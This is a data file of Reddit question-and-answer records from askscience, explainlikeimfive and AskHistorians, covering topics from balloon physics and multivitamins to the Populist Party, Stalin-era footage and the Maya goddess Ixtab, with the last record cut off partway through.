{"q_id": "rxesd", "title": "Would it be possible to build a road that does not follow the curve of the Earth?", "selftext": "If this road was perfectly straight-not following the Earth's curve at all.  Also, if this is possible, what would it look like?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rxesd/would_it_be_possible_to_build_a_road_that_does/", "answers": {"a_id": ["c49eybv"], "score": [3], "text": ["Geometrically it would probably look like the line BA from this diagram: _URL_0_.  What it looked like would depend on how far away from it.  If you are coming from the backside, it would probably look like a ceiling getting progressively smaller.  But if you looked at it straight on it probably would look just like a road, because we are limited in how far we can see and the earth does not curve sharply enough for the \"straightness\" to be directly noticeable."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://library.thinkquest.org/20991/media/geo_tan.gif"]]}
{"q_id": "3c3kr4", "title": "If there was a rubber sphere (like a balloon) that was completely round and uniform, how would it pop?", "selftext": "If a rubber sphere like a balloon had no imperfections, how would it theoretically pop?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3c3kr4/if_there_was_a_rubber_sphere_like_a_balloon_that/", "answers": {"a_id": ["csrxcqs"], "score": [32], "text": ["First of all, it wouldn't pop unless you are doing something to it to make it pop. So I'll assume you are magically getting air into it to blow it up without causing any imperfections.\n\nAssuming the balloon had a perfectly uniform thickness and perfectly symmetric polymer structure and was at absolute zero temperature (so there are no stochastic molecular movements) and in a perfect vacuum and insulated from cosmic rays and did not obey quantum mechanics... (note all of the above is completely unrealistic and impossible)... then at a certain point the polymer would stretch to the point that air can fit through the cracks between the rubber and the balloon would deflate without popping, or if the balloon's inflation were fast enough to overcome the molecular bond strength, the balloon could \"pop\" completely symmetrically, ripping apart in every direction at once..."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "axyyfx", "title": "why can't airlines modify a person's name on a boarding pass", "selftext": "Yesterday I was bound for a flight overseas and my friends boarding pass said Jon where his passport says Jonathan. \n\nBecause of this they did not let us board the plane and said they were unable to change the boarding pass. They also refused to provide any sort of refund or get us on another flight unless we bought completely new tickets.\n\nMy question is what prevents them from modifying the boarding pass in this instance? This seems like a really trivial data change that any computer application should allow for?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/axyyfx/eli5_why_cant_airlines_modify_a_persons_name_on_a/", "answers": {"a_id": ["ehwzy0j", "ehx144t", "ehx1dot", "ehx27ei", "ehxqh35"], "score": [11, 100, 2, 28, 2], "text": ["Well, to start off with, the person whose ticket is it has bought it and filled all the necessary info like name, address, age, etc. Since he had all the time to write it properly, it should be right. If you look on the submission details, they have it written there that it\u2019s not possible to change the names. Why? Because a fraud can occur. A man who has exact same details, similar name but with some changes( Like in your case, Jon with Jonnatan), could use his ticket to travel instead of the real ,,Jon\u201d. Also, probably when you buy a ticket, they check whether you are a criminal or have some restrictions in entering a country. I think you can see where all of this goes :)", "While u/truebene has a good explanation for why they can't change it at the gate, I think the real reason they don't allow you to change your ticket, even months in advance, is to avoid a secondary market in tickets. If you could buy a ticket today for a flight you know will sell out in 9 months, it might be worth taking a gamble and seeing if you can resell it for more money at a later date. This way, they control the entire ticket market.\n\nThey didn't let Jonathan fly under Jon because any flexibility in their policy could lead to more flexibility later on. ", "Before 911, and the TSA,  airlines and airports still had security measures. At that time (one security measure) a boarding pass was meant to reflect your recently verified legal identity as part of you traveling.\n\nSo I believe it is property of that system that still exists today. ", "Security procedures. When you buy a ticket your name, DOB, and other details go in to a national security database to be given a basic check. You must register as the name that will be on the ID you intend to use to check in and pass through security. So if you purchased your ticket as Jon Smith but your ID says Jonathan Smith then you need to have your ID run through again through the database. Which is not a quick and simple process since the airline does not control that database, the Department of Homeland Security does. However only real sticklers to rules, such as at large airports where security breaches are common and the stakes are much higher, will deny you your ticket or through security. Why? Because there are enormous fines for not following the rules of aviation security. But don't bank on that a simple error will be overlooked, ever. Sometime a ticket agent can modify it if there's a couple hours before the flight but that comes with a charge since that data now must be changed along a very complicated aviation security apparatus.\n\n & #x200B;\n\nYou will also not get a refund because the airline is not \"at fault.\" According to the Contract of Carriage, yes every ticket you buy is technically a contract between you and the airline for transport under terms, if you are denied boarding due to security issues you are not entitled to any refund. The airline must be at fault in some way to get a refund, such as maintenance cancellations which are referred to customer service centers since your ticket or gate agent is too busy or too unqualified to do so.\n\nSource: 3 years working ticket counter and as an airline Ground Security Coordinator\n\nEDIT: The rules on changing names are even more complicated on international flights because now they have to abide by international security agreements and the fines for breaking the rules are *enormous.* ", "I'm not sure if it might differ from airline to airline because I am flying to CA for work in a couple of weeks (domestically) and I had a minor issue with the name on my boarding pass that my company issued for me. I'm flying Delta and I was able to find out on their site that in order to change your name on the boarding pass, you have to contact them. I contacted them and it turned out the issue I had wasn't an issue after all (they had my first and middle name written as first name only - they told me this was normal) but it seemed like they were willing to change it if need be. Can someone confirm this? Has anyone had a successful name change on a boarding pass?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1nwo05", "title": "What happened to the Populist Party in America?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1nwo05/what_happened_to_the_populist_party_in_america/", "answers": {"a_id": ["ccmsry5", "ccmsto9"], "score": [42, 3], "text": ["The Populist Party was the largest victim to the third-party system in American history. At first they started off as a farmers' rights movement. The idea of the Party was that since the Democratic Party of the South could not be held accountable for their campaign promises of reform and since the South was essentially a one-party system at the time, there needed to be some nationally elected officials that were responsible to their constituents.\n\nSo the farmers created first a means of communicating with each other--if not for political reasons at first, then for abating the massive amounts of loneliness a nineteenth century farmer endured. These were the Grange and the Farmers' Alliance groups. From these two organizations, the idea of a political party began. Key figures of the Alliance such as Tom Watson (aggressive Populist that eventually became a mudslinger and racist journalist in during the Progressive years) rose to the forefront at these meetings and began campaigning against the local Bourbon Democrat hegemony. Watson and company utilized harsh language along with the idea of popular reform to get elected to Congress in the 1892 elections where the Populists saw the most success.\n\nThen came the realities of a two party system. In Congress, aside from being quite severely drunk multiple times while on the House floor, Watson and Co. did not have a large enough voting bloc and so their ideals were never given a chance for legislative passage. Watson came home to Georgia empty handed after one political cycle and began to write Populist newsletters as the Party began to ramp up efforts for the '96 national election.\n\nThe '96 campaign would be the death knell of the Populists. The Party split on several issues, most importantly on the issue of a presidential ticket. Sectional differences between the midwest and the south tore the party up as neither could agree on whether a moderate or more Progressive ticket would do better in the national electorate. Further, the Populists of the South didn't have as much in common with their midwestern bretheren as previously thought. While the composition of the Southern delegate represented mainly farm interests, the midwest brought with it commercial aspects that the South was not willing to agree with. Add in the question over the coining of silver (West wanted, South didn't) and the Party was bound to collapse. \n\nOh yeah, also, this guy named William Jennings Bryan and that whole two party thing again. The Great Commoner ran for the first time in 1896 under the Democratic banner. Populists of the South were outraged--they formed the Party because they wanted someone representing Southern farmer's interests and to get away from the massive amount of control the Dems had over them, not blindly give it back to them. However, Bryan effectively culled the Party of all its ideas--silver, mail delivery reform, popular election of senators, income tax, etc.--and brought them as the forefront of the Progressive Democratic Party. And so the Populists died.\n\ntl;dr The Populists fell to a Democratic overtaking and internal sectionalism.\n\nsources: Tom Watson Agrarian Rebel by C. Vann Woodward and The Roots of Southern Populism: Yeoman Farmers and the Transformation of the Georgian Upcountry by Steve Hahn", "They ended up siding with the Democrats for the Presidential Election of 1896.  Backing William Jennings Bryant, they eventually lost to Republican William McKinley in both the '96 and 1900 elections.  Afterwards I believe they just kind of petered out as their racist tactics in the south demoralized the movement. I hope someone else can contribute because this is really the extent of my knowledge about the parties demise."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "130y0u", "title": "About the persistence of vision principle, how would we see if we didnt retain the image temporarily?", "selftext": "Im kinda confused and curious about this\n\n- would we see like some kind of \"low fps\" \n\n- or we could see more detais?\n\n- Could it change our perception of time?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/130y0u/about_the_persistence_of_vision_principle_how/", "answers": {"a_id": ["c6zyi53", "c6zzlgm"], "score": [2, 3], "text": ["I'm not even sure if it's possible to describe this. A lot of our vision depends on the changes of the patterns of light that fall on our retina. We use these to help us see depth, motion, which parts of the world group together to form objects, etc. Furthermore, visual processing isn't instantaneous; it takes time for humans to see/recognize objects. We can simulate this with masking, which is showing another image (a visual mask) immediately after seeing something. This disrupts processing of the first image. Look up change blindness for an example.\n\nSomething related could perhaps be akinetopsia which is a disorder resulting from brain damage that affects motion perception. Individuals report that it is kind of like seeing in a low fps -- they could be pouring water into a glass and one second there is very little water in the glass and immediately after the glass is overflowing. \n\nWe can perhaps induce similar experiences by using a strobe light. We only see glimpses of the world in that case. There are all sorts of interesting illusions that occur as a result. ", "The persistence of vision (not to be confused with iconic memory) is most likely simply attributable to the fact that neural processing is a dynamic process, unfolding over time. So the various mechanisms in the retina (photoreceptors, bipolars, ganglions) continue or maintain  some activity after the stimulus is no longer present. It is, to some extent, an inefficiency of the system, not truly a fuctional property. \n\nHowever, we must assume that the nervous system is adapted to adjust for this property so if it were suddenly shut off or decreased somehow, it would likely radically alter our perceptual experience. However, it is difficult to speculate what these effects might be. Presumably, out temporal resolution could improve but this depends on the processing speed of the next layer after the retina, such as the LGN.\n\nIf you are interested in iconic memory, this is a whole different discussion."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "95nci3", "title": "what does the term wasp mean and where did it come from?", "selftext": "I recently read somewhere that wasp was being used as a term for a particular kind of person, it was used to describe a type of person to be cast for a movie back in the days and a young Robert Redford was mentioned as the quintessential wasp. Is it used in a similar fashion as dego or guido, or like how kike is used (although derogatory) in reference to a jew?\n\nJust as an FYI, I'm not from North America and I would really like to know since I'm interested in these type of cultural linguistic things.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/95nci3/eli5_what_does_the_term_wasp_mean_and_where_did/", "answers": {"a_id": ["e3ty7dp", "e3tybog", "e3tyroq", "e3u2a4x"], "score": [8, 13, 2, 7], "text": ["White, Anglo-Saxon, Protestant. That is a white person (male most of the time), of British or Germanic origin that is also a Protestant Christian. Most people in a position of power, at least in politics, are WASPs", "Well, wasp lower-case means a stinging insect.\n\nWASP stands for [White Anglo-Saxon Protestant](_URL_0_).", "It stands for White Anglo-Saxon Protestant and refers to someone of British descent who comes from a wealthy family, attended a good school and may have connections with other WASPs in society, politics and business. \n\nBeing well connected socially with powerful people who shared similar values meant that it was easier for a WASP to get a high ranking job at a large law firm, have influence over a politician, get their kid into Harvard or marry into an even wealthier family.", "White Anglo-Saxon Protestant. So any white American who is of at least partially English ancestry, and often would be descended from the individuals who were among the original European colonist groups. Because they've been here for a long time, the WASPs are generally more rich and powerful than the average American. Because of this, the richer WASPs are the closest thing to Gentry/Nobility in the US. However, a lot of their influence has been fading, particularly since the Kennedy family came to power (as the Kennedy's were Irish Catholics, which to stereotypical old-school WASPs means they're barely differentiated from black people).\n\nWASPs will typically live along the Eastern Seaboard, particularly north of Washington DC, and most heavily in New York and New England. South of DC you start running into the White Southerners, who will have a lot more Celtic genetics, and who lost a lot of their power and influence in the Civil War.\n\nOf note; WASP isn't just \"rich white person.\" It's honestly an ethnic group in-and-of-itself at this point."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/White_Anglo-Saxon_Protestant"], [], []]}
{"q_id": "4esghd", "title": "why are limp handshakes so unsettling?", "selftext": "I don't know what it's like between girls, but as a guy whenever another guy gives me a really limp handshake I immediately get uncomfortable.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4esghd/eli5_why_are_limp_handshakes_so_unsettling/", "answers": {"a_id": ["d22w1ev", "d22w5kh", "d22whx1", "d237cf3", "d23bq9m", "d23g67t", "d242rtj"], "score": [37, 13, 4, 3, 2, 2, 3], "text": ["For me, it's because a weak handshake feels sickly. We have a natural aversion to sick individuals, for fear we might catch what they have, so getting a weak handshake leaves you with that \"Eeeew, there's something wrong with that guy\" feeling. ", "I'm a girl and my dad taught me from a very young age to always give firm handshakes. There are lots of women who give limp ones which makes me feel like I'm squeezing their hands too hard. This imbalance is what makes me uneasy.\nEdit: It makes me feel like I came off as aggressive.", "Tell you what I hate.. When you get the limp handshake and then it feels wrong to grip your normal amount.. It's like a disease.", "from what i understand, its at least partially cultural. when you get something you don't typically expect, it's unsettling.\n\nif you are from the US or canada, you are expecting a firm, quick handshake from either gender. it's what we see as the typical greeting.\n\nhowever, if you are from france, you may be expecting a soft handshake and a kiss on both cheeks. if you are from china, you shake hands softly and bow. if you are from turkey, you do not want to grip tightly as that is rude.\n\nhere's a good article on it: _URL_0_", "Imagine if you greeted someone with a hug and the instant you held them they just went limp. There's a weird lack of effort that's just really disconcerting to me.\n\n\nWhy? Fuck if I know.", "A firm hand shake is not the same thing as squeezing someone's hand. In a proper firm handshake you should be making your own hand firm, as in ridgid.", "It's been essentially said, It is partly modern societal norms but surely has direct links to ancient communities. If you were meeting someone new 10000 years ago and you weren't sure if you could trust them, you'd look in their eyes, and present each other with a foundational level of respect, lest you insult them or make them suspicious.\n\nHumans have honed and shaped this greeting down to handshakes, bows with eyes closed, etc, they all symbolize the same thing: I am presenting myself to you with a certain degree of vulnerability, for I trust you ENOUGH to expect you not to hurt me. Presenting your hand is a fairly submissive gesture, as your hand and arm are what you would normally use to defend yourself with. Bowing with eyes closed is an equally reckless position. \n\nEyes are incredibly important as well because we have learned to perceive other's intentions through their facial language, especially the eyes. \n\nTL;DR/Conclusion: If one looks away during a handshake (or bow), or gives a weak grip, your brain's assumption is the same: This person is acting suspiciously and now he has me on alert."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://mentalfloss.com/article/54063/what-proper-handshake-etiquette-around-world"], [], [], []]}
{"q_id": "6uphio", "title": "I found a Koryo (Korea) era book dating around 990 CE that my great grandfather had. It's still readable but not in the best condition. What should I do with it?", "selftext": "I found 7 books that date back to the Koryo era that are authentic and in readable condition. I'm not sure about the content as it is written in Chinese characters. \n\nIt's around 1000 years old, and I'm not sure what I should do with it. How should I preserve it so it doesn't deteriorate even more?\n\nP.S. My great grandfather was an archaeologist. He apparently dug it up in an archaeological dig.\n\nEdit: Here is the link of the picture: _URL_0_\n\nEdit 2: It looks like at least one of the books is not from the 990 CE but rather later in the late 1300s. I will continue digging more info on them to see if the others are from earlier periods.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6uphio/i_found_a_koryo_korea_era_book_dating_around_990/", "answers": {"a_id": ["dluejg1", "dlulxsy", "dluv0bt", "dlvn8j6", "dmewp9p"], "score": [1326, 1130, 224, 98, 6], "text": ["**Books dating back that far would be extremely valuable as a historical resource.** If your great-grandfather is correct, I cannot overemphasize how precious they would be to any historian of Korea. Contact a museum or other institute immediately -- I doubt trying to preserve it on your own initiative would ever be productive. \n\nStill, I would like to see if the books do actually look like something from 10th-century Korea. Actual books actually from that century (as opposed to later copies, which are still rare) are extremely rare throughout the world -- and you say you have *seven*! Consequentially, I can't easily envision a scenario where an archaeologist would *not* give such valuable books to a university or museum for preservation and intensive research, but keep it in private possession to the point that it is actively deteriorating. ", "**Holy cats. I agree with /u/PangeranDipanagara -- if these books are legitimately that old, you're probably better off not trying to preserve them on your own.** Libraries and museums with the means to house ancient book collections control temperature and humidity to slow the rate of deterioration, and the scholars who study them take special precautions. \n\nI would try to contact an institution about this fairly soon. If your great-grandfather dug them up during the Japanese imperial era, then he must have been professionally active at some point between 1910 and 1945, and the books themselves may have been out of the ground for more than a hundred years at this point. If they've made it this long, that's all to the good, but every day you delay is another one in which they can be lost to fire, theft, or somebody knocking a Red Bull onto them. I've never been in a position to sell or donate an ancient book and can't advise you on what to do, but [this information page by the Smithsonian](_URL_0_) might help a bit.\n\n**My first suggestions would be the National Library of Korea or National Museum of Korea, or secondarily Seoul National University.** The Koreans have long had problems trying to retrieve books and artifacts that were taken out of the country during the late Joseon dynasty and colonial era, and just from an ethical perspective, I think you would be right to offer the books to Korean institutions first. If you're elsewhere, there are also Korea/East Asia collections in a number of Western facilities (Yale, Harvard, Cornell, the British Library, Cambridge, National Library of Australia, etc.). Most of them are heavily weighted toward post-1800 content, but I think all have collections of ancient Korean texts and the means to house them.\n\n > Also during the Japanese imperial times, I'm not expert on this, but handing a Korean historical artifact to Japanese authorities probably wouldn't have survived.\n\nPossibly, but I think their more likely fate would have been to end up vanishing into a private collection in Japan and no one would ever have found out about them. This is a depressingly common practice in colonized or otherwise subjugated states. Although, to their credit, [the Japanese have made an effort](_URL_1_) to find and return some artifacts and texts to the Koreans.", "Hiya everyone, OP will post pictures when and if they decide to. Posting \"Pics please!\" or anything similar will not help, other than to clutter up the thread and thus make our workload more significant. Thanks!", "_URL_0_\n\nHere is a picture of the random page in the Koryo era book.\n\nIf anyone can translate it that would be awesome!", "Any update on this?"]}, "title_urls": [], "selftext_urls": ["https://imgur.com/gallery/qUw8D"], "answers_urls": [[], ["http://library.si.edu/departments/special-collections/information-old-books", "http://english.yonhapnews.co.kr/national/2011/10/18/23/0301000000AEN20111018007100315F.HTML"], [], ["https://imgur.com/gallery/qUw8D"], []]}
{"q_id": "3mr2vd", "title": "why did nasa keep us waiting before they revealed what they found on mars?", "selftext": "It's not like they're a company coming out with a new product and they want to build up hype. They're a part of the government that works for the people. Why would they intentionally withhold information from the public for a period of time?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mr2vd/eli5_why_did_nasa_keep_us_waiting_before_they/", "answers": {"a_id": ["cvhcxn7", "cvhd16n", "cvhe6m0", "cvheapu"], "score": [29, 4, 19, 4], "text": ["It takes time to vet the information a few more times. \n\nThen there is how do you share the info. Sure the could have just put a one page document out on the web, but they wanted to do everything to give the best context possible, so they gave news agencies time to coordinate for it, get the group of guys out there to discuss it.\n\nNASA is also an agency fighting for funding, making sure everyone knows what is happening and putting them in the spotlight is a nice bonus to show they are still doing work.\n\nAnd about your govt agency comment. NASA does not exist for the convenience of the public. Is the Motor Vehicle Agency open when it is best for you? No, they are open and working the hours which make it most economical for them to do the job assigned. ", "Well, one reason is\u2014you know what the media's like. Give them a tiny hint of a fact, and they'll wrap in up in a giant coating of speculation and the next thing you know there's a front-page story about tidal waves on the Moon.\n\nOne way to control that, and keep the public educated, is to release the fact at a press conference with a room full of reporters and full of scientists. That way they can all hear everyone's questions and everyone's answers, and the media doesn't start writing articles until they have a whole armload of facts and context and answered questions.\n\nNotice this technique can also be used for \"evil\": if a politician has done something bad they can address it openly in a press conference in order to control the message and try to squash speculations if they're more damaging than the truth, or their \"truth\".", "It wasn't a matter of \"withholding\" information. They organized a press conference to make the announcement. In order to have a press conference, you need the press to show up. In order for the press to show up, you need to give them a reason to show up (\"we're making a big announcement about Mars\"). \n\nAnd so a couple days before the announcement, they told the various news organizations \"we're going to have a press conference on Monday to make an announcement about Mars\", and since weekends tend to be slow news days, a number of news organizations treated the press conference announcement, in and of itself, as news.\n\nAll in all, they released the info pretty quickly once they were ready to do so.\n", "The main reason is that they are scientists, which means they want to make sure that their findings are correct before they release it.  Scientists live and die by their merit.  The scientific method is a long arduous process but it needs to be so that we can know to a high certainty that something is correct.  Just imagine if they released information as soon as they discovered it and they later discovered it was just a scratch on the telescope lense or something as stupid...they would lose credibility and people would not take them seriously again."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2xliws", "title": "if you take a multivitamin when you've already had your daily recommended amount of one or more vitamins or minerals, does your body get rid of the excess or can this hurt you?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2xliws/eli5_if_you_take_a_multivitamin_when_youve/", "answers": {"a_id": ["cp15j9q", "cp15l6f", "cp15nab", "cp15o37", "cp1d331", "cp1k7n6"], "score": [6, 28, 4, 23, 8, 3], "text": ["The vast majority of the real vitamins in a multivitamin wind up getting flushed out the urinary tract. If the body doesn't use them up by the time they hit the kidneys, they're gone. \n\nIt's generally harmless. You may get a little bit of an upset stomach at the very worst.", "If you just take one there shouldn't be a problem, some vitamins and especially minerals can be a problem in very high dosages. The quantity in those pills is the RDA (recommended daily amount) your body can handle many times more before it becomes a problem. (don't take more than we thought the bottle says though!)\n\nOf course, if you suffer from certain medical conditions this may affect how your body treats excess intake, in those cases always ask your doctor about supplements.", "Most excess vitaminss will pass through your body harmlessly.  Take a vitamin c tablet and watch your pee change colour.  A few can reach hazardous levels,  some of the b vitamins I think, and enough beta-caretine might make you appear jaundiced.  Of course a large enough single dose of anything can be deadly, but spaced out over a day you should be fine. ", "Iron and the fat soluble vitamins (A, D, and E) are ones that most commonly cause issues. However, a person would really have to be taking a lot/over a long time in order to cause problems. The others' excess is flushed out. ", "One time when I was young I ate a whole bottle of vitamin C and my mom called poison control and they said I'd be fine. \n\nI just peed bright orange for a week.", "Some vitamins can be stored in large quantities for years (Vitamin B12), some are hugely toxic in large quantities (Vitamin A).\n\nThis is why you should never eat the liver of a predatory animal, only an herbiverous one.  You'll get vitamin A toxicity.  So in a survival situation where you have turned to cannibalism, never eat another person's liver, unless they're a vegan, in which case go for it, you need the vitamin C."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "2atdjc", "title": "Are any Soviet historians able to verify this image/video clip?", "selftext": "I'm currently watching 'Joseph Stalin Declassified', a History Channel documentary, and while discussing the Great Purge, it showed footage of [this NSFW scene](_URL_0_), of burning homes and bodies hung from power poles ([Also at 23:30 of the documentary on YouTube](_URL_1_)) and it was a scene that really struck me, but also something that I found quite questionable. \n\nIs anyone with a familiarity of the Great Purge able to verify that footage? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2atdjc/are_any_soviet_historians_able_to_verify_this/", "answers": {"a_id": ["ciyzf36"], "score": [14], "text": ["Alright. I took a gander at the video you linked. Specifically the portion you mentioned in the original post. I have never seen that footage before, and I would say it is likely not \"actual\" footage. The pictures of the dead could possibly be relevant, along with the black and white hanging photos. The problem is there is no sources for any of it in the video from what I can tell. It could be pictures from the Holocaust for all we know, for example. \n\nI would be dubious of the entire video to be honest. Right after the linked part you posted the narrator went on to say that \"Stalin would go on to eliminate 40 million.\" That number is beyond any reasonable calculation to say the least. It is simply just outside of feasible numbers for Russia, ignoring actual data completely and just looking at it rationally. The Soviet Union had a population of roughly 160 million in 1931, if Stalin went to kill 40 million that would be over a third of the population PLUS then Hitler would invade and estimates from that is another 21-28 million, would mean that almost half the population died during a 20 year period. Yet census data shows that the Soviet Union's population continued to grow, dipping in 1950, but only by 10 million.\n\nTo put it into comparison, *The Black Book of Communism* (one of the most biased books about this subject) put the Stalin death toll at 20 Million. I have posted before saying that more realistic tolls put it under 10 million. Timothy Snyder, author of *Bloodlands*, estimated Stalin killed around 4 million including those killed during the Holodomor in Ukraine. \n\nTherefore, the video seems to be just a over dramatic retelling of the events of Stalin's terror without any basis in reality. So, honestly, I would take the video and the footage within with a grain of salt unless they can prove that the videos taken were of Great Terror, and if they would look at their ludicrous claims. \n\nNote: I am not denying that the Great Terror happened, or that there was hundred of thousands under the Soviet government during the period of Stalin's rule. I am stating that purposely inflating numbers in order to sensationalize an event is wrong. The numbers presented defy logic. Furthermore, this is not an attempt to say Stalin *only* killed X number, so he wasn't terrible. One death because of political motives is one death too many. The number the Soviet Union killed was abhorrent and should stand as a testament of what ideology and terror can cause humanity to commit. "]}, "title_urls": [], "selftext_urls": ["http://i.imgur.com/7xORPXH.png", "https://www.youtube.com/watch?v=0bZRW8t0q2E"], "answers_urls": [[]]}
{"q_id": "12rfsm", "title": "Were \"greasers\" anything like the gangs of today, or was it just a fashion fad?", "selftext": "Watching West Side Story, or reading The Outsiders, one gets the idea that greasers were pretty tough cookies. Did the greasers of the mid-twentieth century have any sort of gang affiliations or gang related violence like say the Bloods or other modern gangs? If so, were there any greaser gangs that were particularly nasty? Or was the whole thing just a passing popular fashion?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/12rfsm/were_greasers_anything_like_the_gangs_of_today_or/", "answers": {"a_id": ["c6xn8py", "c6xnfnl", "c6xo2u4", "c6xor03", "c6xxf35"], "score": [8, 115, 6, 4, 2], "text": ["I am *far* from knowledgeable on this question, but seeing as no one else has contributed yet, I figured I'd add my 2 cents.\n\nAnyway, the \"greasers\" of the 50's weren't really as much of a gang as a style during that time period. There was almost always a clique of greasers  in every big high school in the country. They were the more troubled and rowdy bunch, so they got a reputation of doing illegal things, but, to my knowledge, there was never any nation-wide organized criminal organizations composed solely of greasers.\n\nHope that helps.", "They were not organized gangs in the way we use the term today. Greaser was more of a label that was used in the same way that hipster is used today, a categorization coined by outsiders. It is my understanding that greasers did not refer to themselves as such.\n\nModern gangs like the Bloods and the Aryan Brotherhood display a pretty rigid hierarchy, are often national and even international, and usually assemble in the first place to engage in some sort of illicit activity. The Hell's Angels, for example, started as a M.C., but evolved into a bonafide syndicate with specific \"business goals\". That's not to say that greasers didn't engage in certain illegal activities, but it was not necessarily an implicit goal in the way it is within modern organized gangs. Just because you looked like a greaser, didn't mean you were in an organized gang.\n\nYet I wouldn't really say that the greaser thing was merely a fashion statement, either. They were in many ways the American equivalent to British rockers: kids from working-class families that sort of stayed within their social group, and adopted a certain look. *West Side Story*, *The Outsiders*, etc. sort of created this image around the way these kids dressed. *West Side Story* in particular creates a real Hollywood caricature, it's not going for historical accuracy or really any sort of commentary on what was really a more complex social identity. Greasers and rockers were originally just poor kids who really couldn't afford nice clothing, so they'd wear their work clothes all the time. Tank tops and tee shirts weren't considered appropriate clothing to wear in public, but they were perfectly fine for factories, auto shops, etc. Denim was cheap and utilitarian, and the now-iconic cuffed jeans started because these guys usually had to buy pants that were a few sizes too large, or had belonged to their older brother, etc.\n\nIt was certainly an image that evolved over time, with both greasers and rockers wearing this \"uniform\" with a certain degree of pride (suspenders were also big among rockers) as time went on, sometimes to explicitly identify with a group. Rockers and greasers are also often associated with motorcycles and that culture, and this too stems from bikes being cheap, available, and easy to maintain, as odds were at least one guy in the group worked as a mechanic, or was at least mechanically-inclined, something you just didn't see as much within groups of clean-cut teenagers from wealthier backgrounds. Same goes for getting away with smoking and drinking. And I guess fighting in public if you had to look out for your friends. Asserting yourself within a group has always meant something different for every social class around the world.\n\nTL;DR: Not like the organized gangs of today, but not merely a fashion statement, although the look became iconic. Rooted in working class culture and developed from there.\n\n**EDIT** Got my wires crossed. Suspenders were more of a skinhead thing. Also an interesting counterculture. If you're interested in this stuff, there's lots of great stuff out there on greasers, rockers, mods, skinheads...sixties youth counterculture in general is pretty fascinating. Here's a cool photo someone submitted to /r/historyporn a few months back. English skinheads and hippies.\n\n_URL_0_", "I don't know if this is against the rules or not, but I really wanted to say that this was a GREAT question! :) Thank you.", "im a greaser.... i come from a long line of greasers and pachucos.....  there was greaser gangs then, just like there's greaser gangs now.... we're just not into shooting people and dealing drugs, im sure there are people like that in any \"scene\" or whatever you choose to call it but our shit is always dealt with your fists. (might get a knife or a chains or a bat every now and then but we like the adrenaline rush from punching people ha!) anywho, it wasnt and its not a fashion statement, its not sumthin you can \"teach\" or \"turn into\" its who we are... who we are born to be. \nive seen people walk away from the gang aspect of it but never stop being a greaser... its like asking someone to stop being mexican or chinese, you get the idea. \nsorry to sound preachy, its not my intention... its just people think we're \"singing and dancing\" and shit lol \nwe're tough, but we're a good bunch\nwe're a brotherhood and we help pass down the values to the young'uns through our love of cars, music and a nostalgic look at when times were easier, things were simpler and people actually had manners. \n", "Keep in mind that S.E. Hinton wrote The Outsiders when she was only 16 years old.  I think that alone would lead to a romanticizing of the subject. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://i.imgur.com/wQQTN.jpg"], [], [], []]}
{"q_id": "91luh3", "title": "Did the Maya really worship Ixtab, goddess of suicide by hanging, or was she made up by Spaniards?", "selftext": "I read that Spanish missionaries and modern media could have fabricated the goddess Ixtab, and that her cult never existed among ancient Maya. To me it seems a very specific dominion for a goddess (suicide by hanging). In case her following existed, did the Maya have other gods for different forms of suicide?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/91luh3/did_the_maya_really_worship_ixtab_goddess_of/", "answers": {"a_id": ["e2zn1lo", "e305fb8"], "score": [116, 12], "text": ["Here is a link to the answer to your question that I posted in an earlier thread.\n\n_URL_0_\n\nTo be brief, the answer to your question is no. The Classic Maya had a massive thematic element of literal DIY self-sacrifice in the form of self-mutilation in much of their art, which is fascinating, but there was no specific goddess of suicide. ", "Ixtab is probably not a real deity, like u/se1ze wrote in their response, but Reyes-Foster wrote an interesting article suggesting that the popularity of a Maya suicide god like Itxab is linked to the high rates of suicide in present day Yucatan. She links newspaper images of young indigenous men who commit suicide in the 1930s to this idea of a Maya predisposition to suicide, which is then reinforced through this notion that the Maya had a precolonial deity specifically for hanging. To her, believing that the Maya had a deity just for suicide by hanging is another way of perpetuating the concept of the Maya as \"other.\"\n\nIn regards to other gods of suicide, the epigrapher Sylvanus Morley wrote about a deity associated with suicide by hanging, Ah Puch, Lord of Death \u201cfrom whom evil and especially death were thought to come\" (Morley 1975). However, I haven't found any references to Ah Puch as a deity in other contexts, and the closest we get to finding him in a Maya context is the mention of a Lord Ah Puch in the Chilam Balam as a regional lord. \n\nReyes-Foster, B. 2013. \"He Followed the Funereal Steps of Ixtab: The Pleasurable Aesthetics of Suicide in Newspaper Journalism in Yucatan, Mexico.\" *The Journal of Latin American and Caribbean Anthropology* 7.\n\nMorley, S. 1975. *An Introduction to the Study of the Maya Hieroglyphs.* Courier Corporation: North Chelmsford, MA. "]}, "title_urls": [], "selftext_urls": [], 